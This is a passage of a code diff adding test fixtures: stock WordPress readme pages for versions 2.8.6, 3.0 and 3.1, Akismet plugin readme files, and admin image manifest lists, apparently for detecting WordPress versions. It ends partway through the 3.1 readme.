{ "url" : "images/toggle-arrow.gif" },
{ "url" : "images/toggle-arrow-rtl.gif" },
{ "url" : "images/white-grad.png" },
{ "url" : "images/white-grad-active.png" },
{ "url" : "images/wordpress-logo.png" },
{ "url" : "images/wp-logo.gif" },
{ "url" : "images/xit.gif" },
{ "url" : "images/yes.png" },
{ "url" : "../wp-includes/images/crystal/archive.png" },
{ "url" : "../wp-includes/images/crystal/audio.png" },
{ "url" : "../wp-includes/images/crystal/code.png" },
{ "url" : "../wp-includes/images/crystal/default.png" },
{ "url" : "../wp-includes/images/crystal/document.png" },
{ "url" : "../wp-includes/images/crystal/interactive.png" },
{ "url" : "../wp-includes/images/crystal/text.png" },
{ "url" : "../wp-includes/images/crystal/video.png" },
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
{ "url" : "../wp-includes/images/rss.png" },
{ "url" : "../wp-includes/images/blank.gif" },
{ "url" : "../wp-includes/images/upload.png" },
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
]}

View File

@@ -0,0 +1,46 @@
=== Akismet ===
Contributors: matt, ryan, andy, mdawaffe, tellyworth
Tags: akismet, comments, spam
Requires at least: 2.0
Tested up to: 2.8.4
Akismet checks your comments against the Akismet web service to see if they look like spam or not.
== Description ==
Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you
review the spam it catches under your blog's "Comments" admin screen.
Want to show off how much spam Akismet has caught for you? Just put `<?php akismet_counter(); ?>` in your template.
See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/).
PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it.
== Installation ==
Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/).
1, 2, 3: You're done!
== Changelog ==
= 2.2.7 =
* Add a new AKISMET_VERSION constant
= 2.2.6 =
* Fix a global warning introduced in 2.2.5
* Add changelog and additional readme.txt tags
* Fix an array conversion warning in some versions of PHP
* Support a new WPCOM_API_KEY constant for easier use with WordPress MU
= 2.2.5 =
* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls
= 2.2.4 =
* Fixed a key problem affecting the stats feature in WordPress MU
* Provide additional blog information in Akismet API calls

91
spec/fixtures/wp_versions/2.8.6/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &rsaquo; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.8.6
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.8.6:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.3</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,76 @@
{
"betaManifestVersion" : 1,
"version" : "ae52efa2f066ffc235840dc615f051d7",
"entries" : [
{ "url" : "images/align-center.png" },
{ "url" : "images/align-left.png" },
{ "url" : "images/align-none.png" },
{ "url" : "images/align-right.png" },
{ "url" : "images/archive-link.png" },
{ "url" : "images/blue-grad.png" },
{ "url" : "images/browse-happy.gif" },
{ "url" : "images/bubble_bg.gif" },
{ "url" : "images/bubble_bg-rtl.gif" },
{ "url" : "images/button-grad.png" },
{ "url" : "images/button-grad-active.png" },
{ "url" : "images/comment-grey-bubble.png" },
{ "url" : "images/date-button.gif" },
{ "url" : "images/ed-bg.gif" },
{ "url" : "images/fade-butt.png" },
{ "url" : "images/fav.png" },
{ "url" : "images/fav-arrow.gif" },
{ "url" : "images/fav-arrow-rtl.gif" },
{ "url" : "images/fav-top.png" },
{ "url" : "images/generic.png" },
{ "url" : "images/gray-grad.png" },
{ "url" : "images/icons32.png" },
{ "url" : "images/icons32-vs.png" },
{ "url" : "images/list.png" },
{ "url" : "images/list-vs.png" },
{ "url" : "images/wpspin_light.gif" },
{ "url" : "images/wpspin_dark.gif" },
{ "url" : "images/logo.gif" },
{ "url" : "images/logo-ghost.png" },
{ "url" : "images/logo-login.gif" },
{ "url" : "images/media-button-image.gif" },
{ "url" : "images/media-button-music.gif" },
{ "url" : "images/media-button-other.gif" },
{ "url" : "images/media-button-video.gif" },
{ "url" : "images/menu.png" },
{ "url" : "images/menu-vs.png" },
{ "url" : "images/menu-arrows.gif" },
{ "url" : "images/menu-bits.gif" },
{ "url" : "images/menu-bits-rtl.gif" },
{ "url" : "images/menu-dark.gif" },
{ "url" : "images/menu-dark-rtl.gif" },
{ "url" : "images/no.png" },
{ "url" : "images/required.gif" },
{ "url" : "images/resize.gif" },
{ "url" : "images/screen-options-left.gif" },
{ "url" : "images/screen-options-right.gif" },
{ "url" : "images/screen-options-right-up.gif" },
{ "url" : "images/se.png" },
{ "url" : "images/star.gif" },
{ "url" : "images/toggle-arrow.gif" },
{ "url" : "images/toggle-arrow-rtl.gif" },
{ "url" : "images/white-grad.png" },
{ "url" : "images/white-grad-active.png" },
{ "url" : "images/wordpress-logo.png" },
{ "url" : "images/wp-logo.gif" },
{ "url" : "images/xit.gif" },
{ "url" : "images/yes.png" },
{ "url" : "../wp-includes/images/crystal/archive.png" },
{ "url" : "../wp-includes/images/crystal/audio.png" },
{ "url" : "../wp-includes/images/crystal/code.png" },
{ "url" : "../wp-includes/images/crystal/default.png" },
{ "url" : "../wp-includes/images/crystal/document.png" },
{ "url" : "../wp-includes/images/crystal/interactive.png" },
{ "url" : "../wp-includes/images/crystal/text.png" },
{ "url" : "../wp-includes/images/crystal/video.png" },
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
{ "url" : "../wp-includes/images/rss.png" },
{ "url" : "../wp-includes/images/blank.gif" },
{ "url" : "../wp-includes/images/upload.png" },
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
]}

View File

@@ -0,0 +1,48 @@
=== Akismet ===
Contributors: matt, ryan, andy, mdawaffe, tellyworth, automattic
Tags: akismet, comments, spam
Requires at least: 2.0
Tested up to: 2.8.5
Akismet checks your comments against the Akismet web service to see if they look like spam or not.
== Description ==
Akismet checks your comments against the Akismet web service to see if they look like spam or not and lets you
review the spam it catches under your blog's "Comments" admin screen.
Want to show off how much spam Akismet has caught for you? Just put `<?php akismet_counter(); ?>` in your template.
See also: [WP Stats plugin](http://wordpress.org/extend/plugins/stats/).
PS: You'll need a [WordPress.com API key](http://wordpress.com/api-keys/) to use it.
== Installation ==
Upload the Akismet plugin to your blog, Activate it, then enter your [WordPress.com API key](http://wordpress.com/api-keys/).
1, 2, 3: You're done!
== Changelog ==
= 2.2.7 =
* Add a new AKISMET_VERSION constant
* Reduce the possibility of over-counting spam when another spam filter plugin is in use
* Disable the connectivity check when the API key is hard-coded for WPMU
= 2.2.6 =
* Fix a global warning introduced in 2.2.5
* Add changelog and additional readme.txt tags
* Fix an array conversion warning in some versions of PHP
* Support a new WPCOM_API_KEY constant for easier use with WordPress MU
= 2.2.5 =
* Include a new Server Connectivity diagnostic check, to detect problems caused by firewalls
= 2.2.4 =
* Fixed a key problem affecting the stats feature in WordPress MU
* Provide additional blog information in Akismet API calls

109
spec/fixtures/wp_versions/3.0/readme.html vendored Executable file
View File

@@ -0,0 +1,109 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" width="250" height="68" /></a>
<br /> Version 3.0
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory and upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
<ol>
<li>If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
</ol>
</li>
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<h2>Using the Automatic Upgrader</h2>
<p>If you are upgrading from version 2.7 or higher, you can use the automatic upgrader:</p>
<ol>
<li>Open the <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Upgrading Manually</h2>
<ol>
<li>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
<li>Delete your old WordPress files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>
<h2>Theme Template Changes</h2>
<p>If you have customized your theme templates, you may have to make some changes across major versions.</p>
<h1>Migrating from other systems</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
<h1>System Requirements</h1>
<ul>
<li><a href="http://php.net/">PHP</a> version <strong>4.3</strong> or higher.</li>
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>4.1.2</strong> or higher.</li>
</ul>
<h2>System Recommendations</h2>
<ul>
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
<li>A link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The WordPress Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1><abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> and Atom Interface</h1>
<p>You can post to your WordPress blog with tools like <a href="http://download.live.com/writer">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">w.bloggar</a>, <a href="http://radio.userland.com/">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the blogging <abbr title="application programming interface">API</abbr>s! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support"><abbr>XML</abbr>-<abbr>RPC</abbr> support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret <abbr title="Post Office Protocol version 3">POP3</abbr> account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with <a href="http://en.wikipedia.org/wiki/Cron">cron</a>-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> <abbr title="Uniform Resource Locator">URL</abbr>.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We introduced a very flexible roles system in version 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities" title="WordPress roles and capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1>Final Notes</h1>
<ul>
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&#233;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr>v2 (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,73 @@
{
"betaManifestVersion" : 1,
"version" : "02f0f783bde10a914130292f1b57d409",
"entries" : [
{ "url" : "images/align-center.png", "ignoreQuery" : true }
{ "url" : "images/align-left.png", "ignoreQuery" : true }
{ "url" : "images/align-none.png", "ignoreQuery" : true }
{ "url" : "images/align-right.png", "ignoreQuery" : true }
{ "url" : "images/archive-link.png", "ignoreQuery" : true }
{ "url" : "images/blue-grad.png", "ignoreQuery" : true }
{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true }
{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/button-grad.png", "ignoreQuery" : true }
{ "url" : "images/button-grad-active.png", "ignoreQuery" : true }
{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true }
{ "url" : "images/date-button.gif", "ignoreQuery" : true }
{ "url" : "images/ed-bg.gif", "ignoreQuery" : true }
{ "url" : "images/fade-butt.png", "ignoreQuery" : true }
{ "url" : "images/fav.png", "ignoreQuery" : true }
{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true }
{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/generic.png", "ignoreQuery" : true }
{ "url" : "images/gray-grad.png", "ignoreQuery" : true }
{ "url" : "images/icons32.png", "ignoreQuery" : true }
{ "url" : "images/icons32-vs.png", "ignoreQuery" : true }
{ "url" : "images/list.png", "ignoreQuery" : true }
{ "url" : "images/list-vs.png", "ignoreQuery" : true }
{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true }
{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true }
{ "url" : "images/logo.gif", "ignoreQuery" : true }
{ "url" : "images/logo-ghost.png", "ignoreQuery" : true }
{ "url" : "images/logo-login.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-image.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-music.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-other.gif", "ignoreQuery" : true }
{ "url" : "images/media-button-video.gif", "ignoreQuery" : true }
{ "url" : "images/menu.png", "ignoreQuery" : true }
{ "url" : "images/menu-vs.png", "ignoreQuery" : true }
{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true }
{ "url" : "images/menu-bits.gif", "ignoreQuery" : true }
{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/menu-dark.gif", "ignoreQuery" : true }
{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/no.png", "ignoreQuery" : true }
{ "url" : "images/required.gif", "ignoreQuery" : true }
{ "url" : "images/resize.gif", "ignoreQuery" : true }
{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true }
{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true }
{ "url" : "images/se.png", "ignoreQuery" : true }
{ "url" : "images/star.gif", "ignoreQuery" : true }
{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true }
{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true }
{ "url" : "images/white-grad.png", "ignoreQuery" : true }
{ "url" : "images/white-grad-active.png", "ignoreQuery" : true }
{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true }
{ "url" : "images/wp-logo.png", "ignoreQuery" : true }
{ "url" : "images/xit.gif", "ignoreQuery" : true }
{ "url" : "images/yes.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true }
{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true }
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true }
{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true }
]}

File diff suppressed because it is too large Load Diff

109
spec/fixtures/wp_versions/3.1/readme.html vendored Executable file
View File

@@ -0,0 +1,109 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &#8250; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head>
<body>
<h1 id="logo">
<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" width="250" height="68" /></a>
<br /> Version 3.1
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory and upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
<ol>
<li>If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
</ol>
</li>
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.</li>
</ol>
<h1>Updating</h1>
<h2>Using the Automatic Updater</h2>
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
<ol>
<li>Open the <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Updating Manually</h2>
<ol>
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
<li>Delete your old WordPress files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
</ol>
<h2>Theme Template Changes</h2>
<p>If you have customized your theme templates, you may have to make some changes across major versions.</p>
<h1>Migrating from other systems</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
<h1>System Requirements</h1>
<ul>
<li><a href="http://php.net/">PHP</a> version <strong>4.3</strong> or higher.</li>
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>4.1.2</strong> or higher.</li>
</ul>
<h2>System Recommendations</h2>
<ul>
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
<li>A link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/news/">The WordPress Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1><abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> and Atom Interface</h1>
<p>You can post to your WordPress blog with tools like <a href="http://download.live.com/writer">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">w.bloggar</a>, <a href="http://radio.userland.com/">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the blogging <abbr title="application programming interface">API</abbr>s! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support"><abbr>XML</abbr>-<abbr>RPC</abbr> support on the Codex</a>.</p>
<h1>Post via Email</h1>
